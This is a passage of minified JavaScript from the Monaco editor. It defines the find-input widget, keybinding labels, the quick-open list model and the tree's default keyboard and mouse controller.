s.Emitter),o.onDidOptionChange=o._onDidOptionChange.event,o._onKeyDown=o._register(new s.Emitter),o.onKeyDown=o._onKeyDown.event,o._onMouseDown=o._register(new s.Emitter),o.onMouseDown=o._onMouseDown.event,o._onInput=o._register(new s.Emitter),o.onInput=o._onInput.event,o._onKeyUp=o._register(new s.Emitter),o.onKeyUp=o._onKeyUp.event,o._onCaseSensitiveKeyDown=o._register(new s.Emitter),o.onCaseSensitiveKeyDown=o._onCaseSensitiveKeyDown.event,o._lastHighlightFindOptions=0,o.contextViewProvider=n,o.width=i.width||100,o.placeholder=i.placeholder||\"\",o.validation=i.validation,o.label=i.label||u,o.inputActiveOptionBorder=i.inputActiveOptionBorder,o.inputBackground=i.inputBackground,o.inputForeground=i.inputForeground,o.inputBorder=i.inputBorder,o.inputValidationInfoBorder=i.inputValidationInfoBorder,o.inputValidationInfoBackground=i.inputValidationInfoBackground,o.inputValidationWarningBorder=i.inputValidationWarningBorder,o.inputValidationWarningBackground=i.inputValidationWarningBackground,o.inputValidationErrorBorder=i.inputValidationErrorBorder,o.inputValidationErrorBackground=i.inputValidationErrorBackground,o.regex=null,o.wholeWords=null,o.caseSensitive=null,o.domNode=null,o.inputBox=null,o.buildDomNode(i.appendCaseSensitiveLabel||\"\",i.appendWholeWordsLabel||\"\",i.appendRegexLabel||\"\"),Boolean(t)&&t.appendChild(o.domNode),o.onkeydown(o.inputBox.inputElement,function(e){return o._onKeyDown.fire(e)}),o.onkeyup(o.inputBox.inputElement,function(e){return o._onKeyUp.fire(e)}),o.oninput(o.inputBox.inputElement,function(e){return o._onInput.fire()}),o.onmousedown(o.inputBox.inputElement,function(e){return o._onMouseDown.fire(e)}),o}return f(t,e),t.prototype.enable=function(){i.removeClass(this.domNode,\"disabled\"),this.inputBox.enable(),this.regex.enable(),this.wholeWords.enable(),this.caseSensitive.enable()},t.prototype.disable=function(){i.addClass(this.domNode,\"disabled\"),this.inputBox.disable(),this.regex.disable(),this.wholeWords.disable(),this.caseSensitive.disable()},t.prototype.setEnabled=function(e){e?this.enable():this.disable()},t.prototype.clear=function(){this.clearValidation(),this.setValue(\"\"),this.focus()},t.prototype.setWidth=function(e){this.width=e,this.domNode.style.width=this.width+\"px\",this.contextViewProvider.layout(),this.setInputWidth()},t.prototype.getValue=function(){return this.inputBox.value},t.prototype.setValue=function(e){this.inputBox.value!==e&&(this.inputBox.value=e)},t.prototype.style=function(e){this.inputActiveOptionBorder=e.inputActiveOptionBorder,this.inputBackground=e.inputBackground,this.inputForeground=e.inputForeground,this.inputBorder=e.inputBorder,this.inputValidationInfoBackground=e.inputValidationInfoBackground,this.inputValidationInfoBorder=e.inputValidationInfoBorder,this.inputValidationWarningBackground=e.inputValidationWarningBackground,this.inputValidationWarningBorder=e.inputValidationWarningBorder,this.inputValidationErrorBackground=e.inputValidationErrorBackground,this.inputValidationErrorBorder=e.inputValidationErrorBorder,this.applyStyles()},t.prototype.applyStyles=function(){if(this.domNode){var e={inputActiveOptionBorder:this.inputActiveOptionBorder};this.regex.style(e),this.wholeWords.style(e),this.caseSensitive.style(e);var t={inputBackground:this.inputBackground,inputForeground:this.inputForeground,inputBorder:this.inputBorder,inputValidationInfoBackground:this.inputValidationInfoBackground,inputValidationInfoBorder:this.inputValidationInfoBorder,inputValidationWarningBackground:this.inputValidationWarningBackground,inputValidationWarningBorder:this.inputValidationWarningBorder,inputValidationErrorBackground:this.inputValidationErrorBackground,inputValidationErrorBorder:this.inputValidationErrorBorder};this.inputBox.style(t)}},t.prototype.select=function(){this.inputBox.select()},t.prototype.focus=function(){this.inputBox.focus()},t.prototype.getCaseSensitive=function(){return this.caseSensitive.checked},t.prototype.setCaseSensitive=function(e){this.caseSensitive.checked=e,this.setInputWidth()},t.prototype.getWholeWords=function(){return this.wholeWords.checked},t.prototype.setWholeWords=function(e){this.wholeWords.checked=e,this.setInputWidth()},t.prototype.getRegex=function(){return this.regex.checked},t.prototype.setRegex=function(e){this.regex.checked=e,this.setInputWidth()},t.prototype.focusOnCaseSensitive=function(){this.caseSensitive.focus()},t.prototype.highlightFindOptions=function(){i.removeClass(this.domNode,\"highlight-\"+this._lastHighlightFindOptions),this._lastHighlightFindOptions=1-this._lastHighlightFindOptions,i.addClass(this.domNode,\"highlight-\"+this._lastHighlightFindOptions)},t.prototype.setInputWidth=function(){var e=this.width-this.caseSensitive.width()-this.wholeWords.width()-this.regex.width();this.inputBox.width=e},t.prototype.buildDomNode=function(e,t,n){var r=this;this.domNode=document.createElement(\"div\"),this.domNode.style.width=this.width+\"px\",i.addClass(this.domNode,\"monaco-findInput\"),this.inputBox=this._register(new o.InputBox(this.domNode,this.contextViewProvider,{placeholder:this.placeholder||\"\",ariaLabel:this.label||\"\",validationOptions:{validation:this.validation||null,showMessage:!0},inputBackground:this.inputBackground,inputForeground:this.inputForeground,inputBorder:this.inputBorder,inputValidationInfoBackground:this.inputValidationInfoBackground,inputValidationInfoBorder:this.inputValidationInfoBorder,inputValidationWarningBackground:this.inputValidationWarningBackground,inputValidationWarningBorder:this.inputValidationWarningBorder,inputValidationErrorBackground:this.inputValidationErrorBackground,inputValidationErrorBorder:this.inputValidationErrorBorder})),this.regex=this._register(new a.RegexCheckbox({appendTitle:n,isChecked:!1,onChange:function(e){r._onDidOptionChange.fire(e),e||r.inputBox.focus(),r.setInputWidth(),r.validate()},inputActiveOptionBorder:this.inputActiveOptionBorder})),this.wholeWords=this._register(new a.WholeWordsCheckbox({appendTitle:t,isChecked:!1,onChange:function(e){r._onDidOptionChange.fire(e),e||r.inputBox.focus(),r.setInputWidth(),r.validate()},inputActiveOptionBorder:this.inputActiveOptionBorder})),this.caseSensitive=this._register(new a.CaseSensitiveCheckbox({appendTitle:e,isChecked:!1,onChange:function(e){r._onDidOptionChange.fire(e),e||r.inputBox.focus(),r.setInputWidth(),r.validate()},onKeyDown:function(e){r._onCaseSensitiveKeyDown.fire(e)},inputActiveOptionBorder:this.inputActiveOptionBorder}));var s=[this.caseSensitive.domNode,this.wholeWords.domNode,this.regex.domNode];this.onkeydown(this.domNode,function(e){if(e.equals(15)||e.equals(17)||e.equals(9)){var t=s.indexOf(document.activeElement);if(t>=0){var n=void 0;e.equals(17)?n=(t+1)%s.length:e.equals(15)&&(n=0===t?s.length-1:t-1),e.equals(9)?s[t].blur():n>=0&&s[n].focus(),i.EventHelper.stop(e,!0)}}}),this.setInputWidth();var u=document.createElement(\"div\");u.className=\"controls\",u.appendChild(this.caseSensitive.domNode),u.appendChild(this.wholeWords.domNode),u.appendChild(this.regex.domNode),this.domNode.appendChild(u)},t.prototype.validate=function(){this.inputBox.validate()},t.prototype.showMessage=function(e){this.inputBox.showMessage(e)},t.prototype.clearMessage=function(){this.inputBox.hideMessage()},t.prototype.clearValidation=function(){this.inputBox.hideMessage()},t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.OPTION_CHANGE=\"optionChange\",t}(r.Widget);t.FindInput=l}),define(d[290],h([6,8]),function(e,t){return e.create(\"vs/base/common/keybindingLabels\",t)}),define(d[155],h([1,0,290]),function(e,t,n){\"use strict\";function i(e,t,n){if(null===t)return\"\";var i=[];return e.ctrlKey&&i.push(n.ctrlKey),e.shiftKey&&i.push(n.shiftKey),e.altKey&&i.push(n.altKey),e.metaKey&&i.push(n.metaKey),i.push(t),i.join(n.separator)}function o(e,t,n,o,r){var s=i(e,t,r);return null!==o&&(s+=\" \",s+=i(n,o,r)),s}Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n){void 0===n&&(n=t),this.modifierLabels=[null],this.modifierLabels[2]=e,this.modifierLabels[1]=t,this.modifierLabels[3]=n}return e.prototype.toLabel=function(e,t,n,i,r){return null===t&&null===i?null:o(e,t,n,i,this.modifierLabels[r])},e}();t.ModifierLabelProvider=r,t.UILabelProvider=new r({ctrlKey:\"⌃\",shiftKey:\"⇧\",altKey:\"⌥\",metaKey:\"⌘\",separator:\"\"},{ctrlKey:n.localize(0,null),shiftKey:n.localize(1,null),altKey:n.localize(2,null),metaKey:n.localize(3,null),separator:\"+\"}),t.AriaLabelProvider=new r({ctrlKey:n.localize(4,null),shiftKey:n.localize(5,null),altKey:n.localize(6,null),metaKey:n.localize(7,null),separator:\"+\"},{ctrlKey:n.localize(8,null),shiftKey:n.localize(9,null),altKey:n.localize(10,null),metaKey:n.localize(11,null),separator:\"+\"}),t.ElectronAcceleratorLabelProvider=new r({ctrlKey:\"Ctrl\",shiftKey:\"Shift\",altKey:\"Alt\",metaKey:\"Cmd\",separator:\"+\"},{ctrlKey:\"Ctrl\",shiftKey:\"Shift\",altKey:\"Alt\",metaKey:\"Super\",separator:\"+\"}),t.UserSettingsLabelProvider=new r({ctrlKey:\"ctrl\",shiftKey:\"shift\",altKey:\"alt\",metaKey:\"cmd\",separator:\"+\"},{ctrlKey:\"ctrl\",shiftKey:\"shift\",altKey:\"alt\",metaKey:\"win\",separator:\"+\"},{ctrlKey:\"ctrl\",shiftKey:\"shift\",altKey:\"alt\",metaKey:\"meta\",separator:\"+\"})}),define(d[292],h([1,0,26,155,4,212]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=o.$,s=function(){function e(e,t){this.os=t,this.domNode=o.append(e,r(\".monaco-keybinding\")),this.didEverRender=!1,e.appendChild(this.domNode)}return Object.defineProperty(e.prototype,\"element\",{get:function(){return this.domNode},enumerable:!0,configurable:!0}),e.prototype.set=function(t,n){this.didEverRender&&this.keybinding===t&&e.areSame(this.matches,n)||(this.keybinding=t,this.matches=n,this.render())},e.prototype.render=function(){if(o.clearNode(this.domNode),this.keybinding){var e=this.keybinding.getParts(),t=e[0],n=e[1];t&&this.renderPart(this.domNode,t,this.matches?this.matches.firstPart:null),n&&(o.append(this.domNode,r(\"span.monaco-keybinding-key-chord-separator\",null,\" \")),this.renderPart(this.domNode,n,this.matches?this.matches.chordPart:null)),this.domNode.title=this.keybinding.getAriaLabel()}this.didEverRender=!0},e.prototype.renderPart=function(e,t,n){var o=i.UILabelProvider.modifierLabels[this.os];t.ctrlKey&&this.renderKey(e,o.ctrlKey,n&&n.ctrlKey,o.separator),t.shiftKey&&this.renderKey(e,o.shiftKey,n&&n.shiftKey,o.separator),t.altKey&&this.renderKey(e,o.altKey,n&&n.altKey,o.separator),t.metaKey&&this.renderKey(e,o.metaKey,n&&n.metaKey,o.separator);var r=t.keyLabel;r&&this.renderKey(e,r,n&&n.keyCode,\"\")},e.prototype.renderKey=function(e,t,n,i){o.append(e,r(\"span.monaco-keybinding-key\"+(n?\".highlight\":\"\"),null,t)),i&&o.append(e,r(\"span.monaco-keybinding-key-separator\",null,i))},e.prototype.dispose=function(){this.keybinding=null},e.areSame=function(e,t){return e===t||!e&&!t||!!e&&!!t&&n.equals(e.firstPart,t.firstPart)&&n.equals(e.chordPart,t.chordPart)},e}();t.KeybindingLabel=s}),define(d[293],h([6,8]),function(e,t){return e.create(\"vs/base/common/severity\",t)}),define(d[36],h([1,0,293,9]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o;!function(e){e[e.Ignore=0]=\"Ignore\",e[e.Info=1]=\"Info\",e[e.Warning=2]=\"Warning\",e[e.Error=3]=\"Error\"}(o||(o={})),function(e){var t=\"error\",o=\"warning\",r=\"warn\",s=\"info\",a=Object.create(null);a[e.Error]=n.localize(0,null),a[e.Warning]=n.localize(1,null),a[e.Info]=n.localize(2,null),e.fromValue=function(n){return n?i.equalsIgnoreCase(t,n)?e.Error:i.equalsIgnoreCase(o,n)||i.equalsIgnoreCase(r,n)?e.Warning:i.equalsIgnoreCase(s,n)?e.Info:e.Ignore:e.Ignore},e.toString=function(e){return a[e]||i.empty},e.compare=function(e,t){return t-e}}(o||(o={})),t.default=o}),define(d[295],h([6,8]),function(e,t){return e.create(\"vs/base/parts/quickopen/browser/quickOpenModel\",t)}),define(d[120],h([1,0,295,7,29,81,9,45,162,229,75,110,4,292,15]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var m=0,v=function(){function e(){}return e.getLabel=function(e){return e.getLabel()},e.getResourcePath=function(e){var t=e.getResource();return t&&t.fsPath},e}(),_=function(){function e(e){void 0===e&&(e=[]),this.id=(m++).toString(),this.labelHighlights=e,this.descriptionHighlights=[]}return e.prototype.getId=function(){return this.id},e.prototype.getLabel=function(){return null},e.prototype.getLabelOptions=function(){return null},e.prototype.getAriaLabel=function(){return this.getLabel()},e.prototype.getDetail=function(){return null},e.prototype.getIcon=function(){return null},e.prototype.getDescription=function(){return null},e.prototype.getKeybinding=function(){return null},e.prototype.getResource=function(){return null},e.prototype.isHidden=function(){return this.hidden},e.prototype.setHidden=function(e){this.hidden=e},e.prototype.setHighlights=function(e,t,n){this.labelHighlights=e,this.descriptionHighlights=t,this.detailHighlights=n},e.prototype.getHighlights=function(){return[this.labelHighlights,this.descriptionHighlights,this.detailHighlights]},e.prototype.run=function(e,t){return!1},e.compare=function(e,t,n){var i=e.getHighlights()[0]||[],o=t.getHighlights()[0]||[];if(i.length&&!o.length)return-1;if(!i.length&&o.length)return 1;var r=e.getLabel(),s=t.getLabel();if(r===s){var a=e.getResource(),u=t.getResource();a&&u&&(r=a.fsPath,s=u.fsPath)}return l.compareAnything(r,s,n)},e.compareByScore=function(e,t,n,i,o){return l.compareByScore(e,t,v,n,i,o)},e.highlight=function(e,t,n){void 0===n&&(n=!1);var i=[],o=[],u=s.stripWildcards(t),l=e.getLabel(),c=e.getDescription();if(e.getResource()){var d=e.getResource().fsPath;if(t.length===d.length&&t.toLowerCase()===d.toLowerCase())i.push({start:0,end:l.length}),o.push({start:0,end:c.length});else if(n||t.indexOf(a.nativeSep)>=0){var h=r.matchesFuzzy(t,l,n);if(h)i=h;else{var p=c?c+a.nativeSep:\"\",f=p.length,g=r.matchesFuzzy(t,p+l,n);g||t===u||(g=r.matchesFuzzy(u,p+l,n)),g&&g.forEach(function(e){e.start<f&&e.end>f?(i.push({start:0,end:e.end-f}),o.push({start:e.start,end:f})):e.start>=f?i.push({start:e.start-f,end:e.end-f}):o.push(e)})}}else i=r.matchesFuzzy(t,l)}else i=r.matchesFuzzy(t,l);return{labelHighlights:i,descriptionHighlights:o}},e.prototype.isFile=function(){return!1},e}();t.QuickOpenEntry=_;var y=function(e){function t(t,n,i){var o=e.call(this)||this;return o.entry=t,o.groupLabel=n,o.withBorder=i,o}return f(t,e),t.prototype.getGroupLabel=function(){return this.groupLabel},t.prototype.setGroupLabel=function(e){this.groupLabel=e},t.prototype.showBorder=function(){return this.withBorder},t.prototype.setShowBorder=function(e){this.withBorder=e},t.prototype.getLabel=function(){return this.entry?this.entry.getLabel():e.prototype.getLabel.call(this)},t.prototype.getLabelOptions=function(){return this.entry?this.entry.getLabelOptions():e.prototype.getLabelOptions.call(this)},t.prototype.getAriaLabel=function(){return this.entry?this.entry.getAriaLabel():e.prototype.getAriaLabel.call(this)},t.prototype.getDetail=function(){return this.entry?this.entry.getDetail():e.prototype.getDetail.call(this)},t.prototype.getResource=function(){return this.entry?this.entry.getResource():e.prototype.getResource.call(this)},t.prototype.getIcon=function(){return this.entry?this.entry.getIcon():e.prototype.getIcon.call(this)},t.prototype.getDescription=function(){return this.entry?this.entry.getDescription():e.prototype.getDescription.call(this)},t.prototype.getEntry=function(){return this.entry},t.prototype.getHighlights=function(){return this.entry?this.entry.getHighlights():e.prototype.getHighlights.call(this)},t.prototype.isHidden=function(){return this.entry?this.entry.isHidden():e.prototype.isHidden.call(this)},t.prototype.setHighlights=function(t,n,i){this.entry?this.entry.setHighlights(t,n,i):e.prototype.setHighlights.call(this,t,n,i)},t.prototype.setHidden=function(t){this.entry?this.entry.setHidden(t):e.prototype.setHidden.call(this,t)},t.prototype.run=function(t,n){return this.entry?this.entry.run(t,n):e.prototype.run.call(this,t,n)},t}(_);t.QuickOpenEntryGroup=y;var C=function(){function e(){}return e.prototype.hasActions=function(e,t){return!1},e.prototype.getActions=function(e,t){return i.TPromise.as(null)},e.prototype.hasSecondaryActions=function(e,t){return!1},e.prototype.getSecondaryActions=function(e,t){return i.TPromise.as(null)},e.prototype.getActionItem=function(e,t,n){return null},e}(),b=function(){function e(e,t){void 0===e&&(e=new C),void 0===t&&(t=null),this.actionProvider=e,this.actionRunner=t}return e.prototype.getHeight=function(e){return e.getDetail()?44:22},e.prototype.getTemplateId=function(e){return e instanceof y?\"quickOpenEntryGroup\":\"quickOpenEntry\"},e.prototype.renderTemplate=function(e,t,n){var i=document.createElement(\"div\");h.addClass(i,\"sub-content\"),t.appendChild(i);var o=h.$(\".quick-open-row\"),r=h.$(\".quick-open-row\"),s=h.$(\".quick-open-entry\",null,o,r);i.appendChild(s);var a=document.createElement(\"span\");o.appendChild(a);var l=new u.IconLabel(o,{supportHighlights:!0}),f=document.createElement(\"span\");o.appendChild(f),h.addClass(f,\"quick-open-entry-description\");var m=new d.HighlightedLabel(f),v=document.createElement(\"span\");o.appendChild(v),h.addClass(v,\"quick-open-entry-keybinding\");var _=new p.KeybindingLabel(v,g.OS),y=document.createElement(\"div\");r.appendChild(y),h.addClass(y,\"quick-open-entry-meta\");var C,b=new d.HighlightedLabel(y);\"quickOpenEntryGroup\"===e&&(C=document.createElement(\"div\"),h.addClass(C,\"results-group\"),t.appendChild(C)),h.addClass(t,\"actions\");var w=document.createElement(\"div\");return h.addClass(w,\"primary-action-bar\"),t.appendChild(w),{container:t,entry:s,icon:a,label:l,detail:b,description:m,keybinding:_,group:C,actionBar:new c.ActionBar(w,{actionRunner:this.actionRunner})}},e.prototype.renderElement=function(e,t,n,i){var o=n;if(this.actionProvider.hasActions(null,e)?h.addClass(o.container,\"has-actions\"):h.removeClass(o.container,\"has-actions\"),o.actionBar.context=e,this.actionProvider.getActions(null,e).then(function(e){o.actionBar.isEmpty()&&e&&e.length>0?o.actionBar.push(e,{icon:!0,label:!1}):o.actionBar.isEmpty()||e&&0!==e.length||o.actionBar.clear()}),e instanceof y&&e.getGroupLabel()?h.addClass(o.container,\"has-group-label\"):h.removeClass(o.container,\"has-group-label\"),e instanceof y){var r=e,s=n;r.showBorder()?(h.addClass(s.container,\"results-group-separator\"),s.container.style.borderTopColor=i.pickerGroupBorder.toString()):(h.removeClass(s.container,\"results-group-separator\"),s.container.style.borderTopColor=null);var a=r.getGroupLabel()||\"\";s.group.textContent=a,s.group.style.color=i.pickerGroupForeground.toString()}if(e instanceof _){var u=e.getHighlights(),l=u[0],c=u[1],d=u[2],p=e.getIcon()?\"quick-open-entry-icon \"+e.getIcon():\"\";o.icon.className=p;var f=e.getLabelOptions()||Object.create(null);f.matches=l||[],o.label.setValue(e.getLabel(),null,f),o.detail.set(e.getDetail(),d),o.description.set(e.getDescription(),c||[]),o.description.element.title=e.getDescription(),o.keybinding.set(e.getKeybinding(),null)}},e.prototype.disposeTemplate=function(e,t){var n=t;n.actionBar.dispose(),n.actionBar=null,n.container=null,n.entry=null,n.description.dispose(),n.description=null,n.keybinding.dispose(),n.keybinding=null,n.detail.dispose(),n.detail=null,n.group=null,n.icon=null,n.label.dispose(),n.label=null},e}(),w=function(){function e(e,t){void 0===e&&(e=[]),void 0===t&&(t=new C),this._entries=e,this._dataSource=this,this._renderer=new b(t),this._filter=this,this._runner=this,this._accessibilityProvider=this}return Object.defineProperty(e.prototype,\"entries\",{get:function(){return this._entries},set:function(e){this._entries=e},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"dataSource\",{get:function(){return this._dataSource},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"renderer\",{get:function(){return this._renderer},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"filter\",{get:function(){return this._filter},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"runner\",{get:function(){return this._runner},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"accessibilityProvider\",{get:function(){return this._accessibilityProvider},enumerable:!0,configurable:!0}),e.prototype.addEntries=function(e){o.isArray(e)&&(this._entries=this._entries.concat(e))},e.prototype.setEntries=function(e){o.isArray(e)&&(this._entries=e)},e.prototype.getEntries=function(e){return e?this._entries.filter(function(e){return!e.isHidden()}):this._entries},e.prototype.getId=function(e){return e.getId()},e.prototype.getLabel=function(e){return e.getLabel()},e.prototype.getAriaLabel=function(e){return e.getAriaLabel()?n.localize(0,null,e.getAriaLabel()):n.localize(1,null)},e.prototype.isVisible=function(e){return!e.isHidden()},e.prototype.run=function(e,t,n){return e.run(t,n)},e}();t.QuickOpenModel=w}),define(d[297],h([6,8]),function(e,t){return e.create(\"vs/base/parts/quickopen/browser/quickOpenWidget\",t)}),define(d[298],h([6,8]),function(e,t){return e.create(\"vs/base/parts/tree/browser/treeDefaults\",t)}),define(d[128],h([1,0,298,7,53,15,10,4,40]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l;!function(e){e[e.ON_MOUSE_DOWN=0]=\"ON_MOUSE_DOWN\",e[e.ON_MOUSE_UP=1]=\"ON_MOUSE_UP\"}(l=t.ClickBehavior||(t.ClickBehavior={}));var c=function(){function e(){this._arr=[]}return e.prototype.set=function(e,t){this._arr.push({keybinding:u.createKeybinding(e,r.OS),callback:t})},e.prototype.dispatch=function(e){for(var t=this._arr.length-1;t>=0;t--){var n=this._arr[t];if(e.equals(n.keybinding))return n.callback}return null},e}();t.KeybindingDispatcher=c;var d=function(){function e(e){void 0===e&&(e={clickBehavior:l.ON_MOUSE_UP,keyboardSupport:!0});var t=this;this.options=e,this.downKeyBindingDispatcher=new c,this.upKeyBindingDispatcher=new c,(\"boolean\"!=typeof e.keyboardSupport||e.keyboardSupport)&&(this.downKeyBindingDispatcher.set(16,function(e,n){return t.onUp(e,n)}),this.downKeyBindingDispatcher.set(18,function(e,n){return t.onDown(e,n)}),this.downKeyBindingDispatcher.set(15,function(e,n){return t.onLeft(e,n)}),this.downKeyBindingDispatcher.set(17,function(e,n){return t.onRight(e,n)}),r.isMacintosh&&(this.downKeyBindingDispatcher.set(2064,function(e,n){return t.onLeft(e,n)}),this.downKeyBindingDispatcher.set(300,function(e,n){return t.onDown(e,n)}),this.downKeyBindingDispatcher.set(302,function(e,n){return t.onUp(e,n)})),this.downKeyBindingDispatcher.set(11,function(e,n){return t.onPageUp(e,n)}),this.downKeyBindingDispatcher.set(12,function(e,n){return t.onPageDown(e,n)}),this.downKeyBindingDispatcher.set(14,function(e,n){return t.onHome(e,n)}),this.downKeyBindingDispatcher.set(13,function(e,n){return t.onEnd(e,n)}),this.downKeyBindingDispatcher.set(10,function(e,n){return t.onSpace(e,n)}),this.downKeyBindingDispatcher.set(9,function(e,n){return t.onEscape(e,n)}),this.upKeyBindingDispatcher.set(3,this.onEnter.bind(this)),this.upKeyBindingDispatcher.set(2051,this.onEnter.bind(this)))}return e.prototype.onMouseDown=function(e,t,n,i){if(void 0===i&&(i=\"mouse\"),this.options.clickBehavior===l.ON_MOUSE_DOWN&&(n.leftButton||n.middleButton)){if(n.target){if(n.target.tagName&&\"input\"===n.target.tagName.toLowerCase())return!1;if(a.findParentWithClass(n.target,\"monaco-action-bar\",\"row\"))return!1}return this.onLeftClick(e,t,n,i)}return!1},e.prototype.onClick=function(e,t,n){return r.isMacintosh&&n.ctrlKey?(n.preventDefault(),n.stopPropagation(),!1):(!n.target||!n.target.tagName||\"input\"!==n.target.tagName.toLowerCase())&&((this.options.clickBehavior!==l.ON_MOUSE_DOWN||!n.leftButton&&!n.middleButton)&&this.onLeftClick(e,t,n))},e.prototype.onLeftClick=function(e,t,n,i){void 0===i&&(i=\"mouse\");var o={origin:i,originalEvent:n};return e.getInput()===t?(e.clearFocus(o),e.clearSelection(o)):(n&&n.browserEvent&&\"mousedown\"===n.browserEvent.type||n.preventDefault(),n.stopPropagation(),e.DOMFocus(),e.setSelection([t],o),e.setFocus(t,o),e.isExpanded(t)?e.collapse(t).done(null,s.onUnexpectedError):e.expand(t).done(null,s.onUnexpectedError)),!0},e.prototype.onContextMenu=function(e,t,n){return(!n.target||!n.target.tagName||\"input\"!==n.target.tagName.toLowerCase())&&(n&&(n.preventDefault(),n.stopPropagation()),!1)},e.prototype.onTap=function(e,t,n){var i=n.initialTarget;return(!i||!i.tagName||\"input\"!==i.tagName.toLowerCase())&&this.onLeftClick(e,t,n,\"touch\")},e.prototype.onKeyDown=function(e,t){return this.onKey(this.downKeyBindingDispatcher,e,t)},e.prototype.onKeyUp=function(e,t){return this.onKey(this.upKeyBindingDispatcher,e,t)},e.prototype.onKey=function(e,t,n){var i=e.dispatch(n.toKeybinding());return!(!i||!i(t,n))&&(n.preventDefault(),n.stopPropagation(),!0)},e.prototype.onUp=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusPrevious(1,n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onPageUp=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusPreviousPage(n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onDown=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusNext(1,n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onPageDown=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusNextPage(n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onHome=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusFirst(n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onEnd=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?e.clearHighlight(n):(e.focusLast(n),e.reveal(e.getFocus()).done(null,s.onUnexpectedError)),!0},e.prototype.onLeft=function(e,t){var n={origin:\"keyboard\",originalEvent:t};if(e.getHighlight())e.clearHighlight(n);else{var i=e.getFocus();e.collapse(i).then(function(t){if(i&&!t)return e.focusParent(n),e.reveal(e.getFocus())}).done(null,s.onUnexpectedError)}return!0},e.prototype.onRight=function(e,t){var n={origin:\"keyboard\",originalEvent:t};if(e.getHighlight())e.clearHighlight(n);else{var i=e.getFocus();e.expand(i).then(function(t){if(i&&!t)return e.focusFirstChild(n),e.reveal(e.getFocus())}).done(null,s.onUnexpectedError)}return!0},e.prototype.onEnter=function(e,t){var n={origin:\"keyboard\",originalEvent:t};if(e.getHighlight())return!1;var i=e.getFocus();return i&&e.setSelection([i],n),!0},e.prototype.onSpace=function(e,t){if(e.getHighlight())return!1;var n=e.getFocus();return n&&e.toggleExpansion(n),!0},e.prototype.onEscape=function(e,t){var n={origin:\"keyboard\",originalEvent:t};return e.getHighlight()?(e.clearHighlight(n),!0):e.getSelection().length?(e.clearSelection(n),!0):!!e.getFocus()&&(e.clearFocus(n),!0)},e}();t.DefaultController=d;var h=function(){function e(){}return e.prototype.getDragURI=function(e,t){return null},e.prototype.onDragStart=function(e,t,n){},e.prototype.onDragOver=function(e,t,n,i){return null},e.prototype.drop=function(e,t,n,i){},e}();t.DefaultDragAndDrop=h;var p=function(){function e(){}return e.prototype.isVisible=function(e,t){return!0},e}();t.DefaultFilter=p;var g=function(){function e(){}return e.prototype.compare=function(e,t,n){return 0},e}();t.DefaultSorter=g;var m=function(){function e(){}return e.prototype.getAriaLabel=function(e,t){return null},e}();t.DefaultAccessibilityProvider=m;var v=function(e){function t(t,i){var o=e.call(this,\"vs.tree.collapse\",n.localize(0,null),\"monaco-tree-action collapse-all\",i)||this;return o.viewer=t,o}return f(t,e),t.prototype.run=function(e){return this.viewer.getHighlight()?i.TPromise.as(null):(this.viewer.collapseAll(),this.viewer.clearSelection(),this.viewer.clearFocus(),this.viewer.DOMFocus(),this.viewer.focusFirst(),i.TPromise.as(null))},t}(o.Action);t.CollapseAllAction=v}),define(d[161],h([1,0,128,38,466,238,107,11,3,32,26,261]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){return function(e,t,i){if(void 0===i&&(i={}),this.tree=e,this.configuration=t,this.options=i,!t.dataSource)throw new Error(\"You must provide a Data Source to the tree.\");this.dataSource=t.dataSource,this.renderer=t.renderer,this.controller=t.controller||new n.DefaultController({clickBehavior:n.ClickBehavior.ON_MOUSE_UP,keyboardSupport:\"boolean\"!=typeof i.keyboardSupport||i.keyboardSupport}),this.dnd=t.dnd||new n.DefaultDragAndDrop,this.filter=t.filter||new n.DefaultFilter,this.sorter=t.sorter||null,this.accessibilityProvider=t.accessibilityProvider||new n.DefaultAccessibilityProvider}}();t.TreeContext=d;var h={listFocusBackground:l.Color.fromHex(\"#073655\"),listActiveSelectionBackground:l.Color.fromHex(\"#0E639C\"),listActiveSelectionForeground:l.Color.fromHex(\"#FFFFFF\"),listFocusAndSelectionBackground:l.Color.fromHex(\"#094771\"),listFocusAndSelectionForeground:l.Color.fromHex(\"#FFFFFF\"),listInactiveSelectionBackground:l.Color.fromHex(\"#3F3F46\"),listHoverBackground:l.Color.fromHex(\"#2A2D2E\"),listDropBackground:l.Color.fromHex(\"#383B3D\")},p=function(e){function t(t,n,i){void 0===i&&(i={});var s=e.call(this)||this;return s.toDispose=[],s._onDispose=new a.Emitter,s._onHighlightChange=new a.Emitter,s.toDispose.push(s._onDispose,s._onHighlightChange),s.container=t,s.configuration=n,s.options=i,c.mixin(s.options,h,!1),s.options.twistiePixels=\"number\"==typeof 